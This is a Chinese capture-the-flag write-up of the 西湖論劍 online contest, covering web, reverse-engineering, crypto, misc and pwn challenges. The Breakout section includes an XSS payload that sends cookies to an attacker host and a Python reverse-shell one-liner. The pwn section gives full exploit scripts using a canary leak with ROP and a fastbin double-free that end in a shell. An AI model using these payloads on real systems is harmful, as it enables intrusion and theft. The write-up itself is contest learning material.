西湖論劍線上 writeup

西湖論劍

太菜了最后只有18名
都怪我劃水
還是得夸aris和liano太強(qiáng)了

WEB

web1

<?php
//index.php
$a = @$_GET['file'];
if (!$a) {
    $a = './templates/index.html';
}
echo 'include $_GET[\'file\']';
if (strpos('flag',$a)!==false) {
    die('nonono');
}
include $a;

hint :dir.php

//dir.php
<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));

用dir.php可以看根目錄文件


image

flag在這里
然后直接用index.php讀
就得到flag了

猜猜flag是什么

根目錄下有.DS_Store 泄露嫉沽,脫下來可以發(fā)現(xiàn)一下內(nèi)容:

image

繼續(xù)掃描 /e10adc3949ba59abbe56e057f20f883e/ 這個(gè)目錄發(fā)現(xiàn)有 .git 泄露

githack 獲得一個(gè)加密壓縮包BackupForMySite.zip遣铝,不過我們有他里面的部分內(nèi)容:index.php lengzhu.jpg。那么用明文攻擊解開壓縮包琉苇,明文壓縮包要用bindzip來壓縮裕循。蜂绎。搓逾。

里面的 hint 帶有激活碼,并且說 flag 在 /flag/seed.txt(直接訪問說NAIVE)

輸入到主頁中用get請求骗露,參數(shù)為code=激活碼 就可以得到一個(gè)數(shù)字
既然說是seed 那么猜測為 php 的隨機(jī)數(shù)種子岭佳。

使用php_mt_seed 將上一步拿到的數(shù)字丟進(jìn)去跑,爆破出seed的值

訪問/flag/${seed}.txt 就可以獲得flag了

Breakout

插進(jìn)留言版

<iframe src="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:window.location.href='http://xxxx:8000/?a='+document.cookie"

report頁面提交留言板地址萧锉,驗(yàn)證碼腳本:

import hashlib

def md5(key):
    m = hashlib.md5()
    m.update(key.encode('utf-8'))
    return m.hexdigest()

for i in range(1000000000):
    if md5(str(i))[0:6] == '7751c4':
        print(i)
        break

然后拿到cookie后替換珊随,反彈shell到自己的服務(wù)器上:

command=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xx.xx.xx.xx",8000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'&exec=1

flag在根目錄下的flag.txt

RE

easyCPP

根據(jù)名字就很容易看出是個(gè)斐波那契數(shù)列了柿隙,他先取你輸入的第一個(gè)和后面每個(gè)相加叶洞,再倒序之后得是從1開始的15個(gè)斐波那契數(shù),于是逆一下得出輸入
987 -377 -610 -754 -843 -898 -932 -953 -966 -974 -979 -982 -984 -985 -986 -986

testre

base58改都沒改=-=一把梭

>>> import base58
>>> base58.b58decode('D9cS9N9iHjMLTdA8YSMRMp')
'base58_is_boring'

Junk_Instruction

動(dòng)調(diào)題禀崖,ida載入半天也找不到啥東西=衩辟。=果斷掏出OD下API斷點(diǎn)找到關(guān)鍵函數(shù)sub_402600
由于還有花指令,不如繼續(xù)動(dòng)調(diào)波附,跟了一會(huì)艺晴,找到了像是rc4的S-box昼钻,盲猜
[0x5b, 0xd6, 0xd0, 0x26, 0xc8, 0xdd, 0x19, 0x7e, 0x6e, 0x3e,
0xcb, 0x16, 0x91, 0x7d, 0xff, 0xaf, 0xdd, 0x76, 0x64, 0xb0, 0xf7, 0xe5,
0x89, 0x57, 0x82, 0x9f, 0xc, 0x0, 0x9e, 0xd0, 0x45, 0xfa]就是密文
qwertyuiop是key,然后解個(gè)rc4,嗯封寞?錯(cuò)了然评?倒個(gè)序,嗯狈究,看來是沒錯(cuò)=碗淌。=

from Crypto.Cipher import ARC4

key = 'qwertyuiop'
a = [0x5b, 0xd6, 0xd0, 0x26, 0xc8, 0xdd, 0x19, 0x7e, 0x6e, 0x3e,
0xcb, 0x16, 0x91, 0x7d, 0xff, 0xaf, 0xdd, 0x76, 0x64, 0xb0, 0xf7, 0xe5,
0x89, 0x57, 0x82, 0x9f, 0xc, 0x0, 0x9e, 0xd0, 0x45, 0xfa]
enc = ''
for i in a:
    enc += chr(i)
rc4 = ARC4.new(key)
print(rc4.decrypt(enc)[::-1])

Crypto

哈夫曼之謎

就是哈夫曼編碼,剛巧上半年數(shù)據(jù)結(jié)構(gòu)作業(yè)的代碼還在:

/**
 *
 * @class TreeNode
 */
class TreeNode {
  constructor(weight = 0, item = "") {
    this.item = item;
    this.weight = weight;
    this.lNode = null;
    this.rNode = null;
  }
}

/**
 *
 * @class huffmanTree
 */
class huffmanTree {
  constructor(text) {
    this.root = null;
    this.generate(text);
  }
  generate(text) {
    const countFreqs = function(text) {
      let freqs = {};
      for (let char of text) {
        if (!freqs[char]) {
          freqs[char] = 0;
        }
        freqs[char]++;
      }
      return freqs;
    };
    const createhuffmanTree = function(data) {
      if (data.length === 1) return data[0];
      data
        .sort(function(node1, node2) {
          return node1.weight - node2.weight;
        })
        .reverse();
      let lNode = data.pop();
      let rNode = data.pop();
      let newNode = new TreeNode(lNode.weight + rNode.weight, "");
      newNode.lNode = lNode;
      newNode.rNode = rNode;
      data.push(newNode);
      return createhuffmanTree(data);
    };
    let freqs = countFreqs(text);
    let data = [...new Set(text.split(""))].map(function(item) {
      return new TreeNode(freqs[item], item);
    });
    this.root = createhuffmanTree(data);
  }
}

/**
 *
 * @class HuffmanCode
 */
class HuffmanCode {
  constructor() {
    this.codeTable = {};
    this.tree = null;
  }

  /**
   *
   * @param {*} text
   * @memberof HuffmanCode
   */
  encode(text) {
    const traverseTree = function(node, arr, code) {
      if (node.lNode !== null && node.rNode != null) {
        traverseTree(node.lNode, arr, code + "0");
        traverseTree(node.rNode, arr, code + "1");
      }
      arr[node.item] = code;
    };
    this.tree = new huffmanTree(text);
    traverseTree(this.tree.root, this.codeTable, "");
    delete this.codeTable[""];
    let res = "";
    for (let i of text) {
      res += this.codeTable[i];
    }
    console.log(res);
  }

  /**
   *
   * @param {*} text
   * @memberof HuffmanCode
   */
  decode(text) {
    let count = 0;
    let res = "";
    const decodeNode = node => {
      if (count > text.length) return null;
      if (node.lNode === null && node.rNode === null) {
        res += node.item;
        decodeNode(this.tree.root);
      } else {
        if (text[count] === "1") {
          count++;
          decodeNode(node.rNode);
        } else {
          count++;
          decodeNode(node.lNode);
        }
      }
    };
    decodeNode(this.tree.root);
    console.log(res);
  }
}
let text = "ddddddddd5555555550000000aaaafffff{gl}";
let huffmanCode = new HuffmanCode();
huffmanCode.encode(text);
huffmanCode.decode("11000111000001010010010101100110110101111101110101011110111111100001000110010110101111001101110001000110");

字符的權(quán)重對應(yīng)字符的個(gè)數(shù)谦炒,先encode生成Huffman樹贯莺,再把給出的密文decode一下就好了风喇。相同權(quán)重的字符可能會(huì)有左右節(jié)點(diǎn)的順序差別宁改,手動(dòng)交換一下他們在字符串text 中的順序即可
最后解得flag為 flag{ddf5dfd0f05550500a5af55dd0d5d0ad}

Misc

奇怪的TTL字段

發(fā)現(xiàn)ttl.txt中的ttl只有4個(gè)值63,127,191,255,寫出他們的二進(jìn)制表示后發(fā)現(xiàn)只有最高兩位不同
于是考慮做如下轉(zhuǎn)換魂莫,發(fā)現(xiàn)寫出來的16進(jìn)制數(shù)開頭是ffd8还蹲,應(yīng)該是jpg,于是寫入文件中

fp = open('ttl.txt','r')
a = fp.readlines()
p = []
for i in a:
    p.append(int(i[4:]))
s = ''
for i in p:
    if i == 63:
        a = '00'
    elif i == 127:
        a = '01'
    elif i == 191:
        a = '10'
    elif i == 255:
        a = '11'
    s += a
# print(s)

import binascii
flag = ''
for i in range(0,len(s),8):
    flag += chr(int(s[i:i+8],2))
flag = binascii.unhexlify(flag)
wp = open('res.jpg','wb')
wp.write(flag)
wp.close()
#00111111 63
#01111111 127
#10111111 191
#11111111 255

寫完之后發(fā)現(xiàn)只有二維碼的一部分耙考,應(yīng)該是不止一張圖谜喊,用foremost直接分開就好了,之后用ps拼在一塊倦始,掃描之后得到如下信息

key:AutomaticKey cipher:fftu{2028mb39927wn1f96o6e12z03j58002p}

應(yīng)該就是AutoKey那個(gè)加密了斗遏,找了個(gè)在線網(wǎng)站解密
https://www.wishingstarmoye.com/ctf/autokey
得到flag{2028ab39927df1d96e6a12b03e58002e}

最短的路

flag{ 只跟 E3 有聯(lián)系


image

75D}只跟 FloraPrice 有聯(lián)系
正好可以找 和 FloraPrice 和E3有聯(lián)系的
在列表翻一下正好找到
EvelynJefferson
flag: E3EvelynJeffersonE9FloraPrice75D

PWN

story

基礎(chǔ)題,利用格式化字符串leak canary之后棧溢出ROP

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0
binary_name = 'story'

if local:
    cn = process('./story')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
    #libc = ELF('/lib/i386-linux-gnu/libc-2.23.so',checksec=False)
else:
    cn = remote('ctf2.linkedbyx.com',10885)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
    #libc = ELF('')

ru = lambda x : cn.recvuntil(x)
sn = lambda x : cn.send(x)
rl = lambda   : cn.recvline()
sl = lambda x : cn.sendline(x)
rv = lambda x : cn.recv(x)
sa = lambda a,b : cn.sendafter(a,b)
sla = lambda a,b : cn.sendlineafter(a,b)


bin = ELF('./'+binary_name,checksec=False)


def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()

prdi = 0x0000000000400bd3 
prsi = 0x0000000000400bd1 


cn.sendlineafter('ID:','%15$p')
cn.recvuntil('0x')
canary = int(cn.recvline()[:-1],16)
success('canary:'+hex(canary))
cn.sendlineafter('size',str(1024))
buf = 'a'*0x88+p64(canary)+p64(0)
buf+= p64(prdi) + p64(bin.got['puts']) +p64(bin.plt['puts'])
buf+= p64(0x4009A0)
cn.sendline(buf)
cn.recvline()
cn.recvline()
lbase = u64(cn.recvline()[:-1].ljust(8,'\x00'))-libc.sym['puts']
success('lbase:'+hex(lbase))
cn.sendlineafter('size',str(1024))
buf = 'a'*0x88+p64(canary)+p64(0)
buf+= p64(0x4526a+lbase)+p64(0)*0x10
cn.sendline(buf)


cn.interactive()


'''
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xcd0f3 execve("/bin/sh", rcx, r12)
constraints:
  [rcx] == NULL || rcx == NULL
  [r12] == NULL || r12 == NULL

0xcd1c8 execve("/bin/sh", rax, r12)
constraints:
  [rax] == NULL || rax == NULL
  [r12] == NULL || r12 == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

0xf66f0 execve("/bin/sh", rcx, [rbp-0xf8])
constraints:
  [rcx] == NULL || rcx == NULL
  [[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL
'''

noinfoleak

說是noinfoleak鞋邑,但其實(shí)很容易就能leak信息诵次。。枚碗。就是個(gè)普通的fastbin題逾一,和第一題比說實(shí)話值不了300分(當(dāng)然第一題也是抄的,就很emmmm)

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0
binary_name = 'noinfoleak'

if local:
    cn = process('./noinfoleak')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
    #libc = ELF('/lib/i386-linux-gnu/libc-2.23.so',checksec=False)
else:
    cn = remote('ctf1.linkedbyx.com',10446)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

ru = lambda x : cn.recvuntil(x)
sn = lambda x : cn.send(x)
rl = lambda   : cn.recvline()
sl = lambda x : cn.sendline(x)
rv = lambda x : cn.recv(x)
sa = lambda a,b : cn.sendafter(a,b)
sla = lambda a,b : cn.sendlineafter(a,b)


bin = ELF('./'+binary_name,checksec=False)


def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()


def add(sz,con):
    sla('>','1')
    sla('>',str(sz))
    sla('>',con)

def dele(idx):
    sla('>','2')
    sla('>',str(idx))

def edit(idx,con):
    sla('>','3')
    sla('>',str(idx))
    sa('>',con)


add(0x30,'/bin/sh\x00')#0
add(0x20,'bbb')#1
add(0x20,'ccc')#2

dele(1)
dele(2)
dele(1)

add(0x20,p64(0x6010a0))#3
add(0x20,'ddd')#4
add(0x20,'eee')#5
add(0x20,p64(0x601018))#6
# z('c')
edit(1,p64(bin.plt['puts']))
edit(6,p64(bin.got['puts']))
dele(1)
lbase =u64(cn.recvline()[:-1].ljust(8,'\x00'))-libc.sym['puts']
edit(6,p64(bin.got['free']))
edit(1,p64(lbase+libc.sym['system']))
dele(0)

cn.interactive()

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末肮雨,一起剝皮案震驚了整個(gè)濱河市遵堵,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌怨规,老刑警劉巖陌宿,帶你破解...
    沈念sama閱讀 217,734評(píng)論 6 505
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異波丰,居然都是意外死亡限番,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,931評(píng)論 3 394
  • 文/潘曉璐 我一進(jìn)店門呀舔,熙熙樓的掌柜王于貴愁眉苦臉地迎上來弥虐,“玉大人扩灯,你說我怎么就攤上這事∷瘢” “怎么了珠插?”我有些...
    開封第一講書人閱讀 164,133評(píng)論 0 354
  • 文/不壞的土叔 我叫張陵,是天一觀的道長颖对。 經(jīng)常有香客問我捻撑,道長,這世上最難降的妖魔是什么缤底? 我笑而不...
    開封第一講書人閱讀 58,532評(píng)論 1 293
  • 正文 為了忘掉前任顾患,我火速辦了婚禮,結(jié)果婚禮上个唧,老公的妹妹穿的比我還像新娘江解。我一直安慰自己,他們只是感情好徙歼,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,585評(píng)論 6 392
  • 文/花漫 我一把揭開白布犁河。 她就那樣靜靜地躺著,像睡著了一般魄梯。 火紅的嫁衣襯著肌膚如雪桨螺。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,462評(píng)論 1 302
  • 那天酿秸,我揣著相機(jī)與錄音灭翔,去河邊找鬼。 笑死辣苏,一個(gè)胖子當(dāng)著我的面吹牛肝箱,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播考润,決...
    沈念sama閱讀 40,262評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼狭园,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了糊治?” 一聲冷哼從身側(cè)響起唱矛,我...
    開封第一講書人閱讀 39,153評(píng)論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎井辜,沒想到半個(gè)月后绎谦,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,587評(píng)論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡粥脚,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,792評(píng)論 3 336
  • 正文 我和宋清朗相戀三年窃肠,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片刷允。...
    茶點(diǎn)故事閱讀 39,919評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡冤留,死狀恐怖碧囊,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情纤怒,我是刑警寧澤糯而,帶...
    沈念sama閱讀 35,635評(píng)論 5 345
  • 正文 年R本政府宣布,位于F島的核電站泊窘,受9級(jí)特大地震影響熄驼,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜烘豹,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,237評(píng)論 3 329
  • 文/蒙蒙 一瓜贾、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧携悯,春花似錦祭芦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,855評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽奥秆。三九已至逊彭,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間构订,已是汗流浹背侮叮。 一陣腳步聲響...
    開封第一講書人閱讀 32,983評(píng)論 1 269
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留悼瘾,地道東北人囊榜。 一個(gè)月前我還...
    沈念sama閱讀 48,048評(píng)論 3 370
  • 正文 我出身青樓,卻偏偏與公主長得像亥宿,于是被迫代替她去往敵國和親卸勺。 傳聞我的和親對象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,864評(píng)論 2 354

推薦閱讀更多精彩內(nèi)容

  • WEB2 看源代碼得flag 文件上傳測試 找一張圖片上傳烫扼,截包改后綴名為.php得flag 計(jì)算題 F12修改輸...
    a2dd56f6ad89閱讀 18,509評(píng)論 0 2
  • Web babyt3 登錄看到: 嘗試文件包含: 得到源碼: 讀取dir.php的源碼: 得到源碼: 構(gòu)造去查看根...
    Eumenides_62ac閱讀 3,652評(píng)論 4 3
  • 張培_閱讀 156評(píng)論 0 0
  • 張愛玲曾感慨: 如果情感和歲月也可以輕輕撕碎曙求,扔到海中,那么映企,我愿意從此就在海底沉默悟狱。 你的言語,我愛聽堰氓,卻不懂...
    Mi堅(jiān)果閱讀 419評(píng)論 0 0
  • 追逐那一抹倩麗的身姿挤渐,撥開了草叢,向前望去双絮,眼前是那株百合花浴麻。幾片簡簡單單的白花瓣微微聚攏得问,便是它的主色調(diào)...
    四葉草的夢閱讀 660評(píng)論 1 6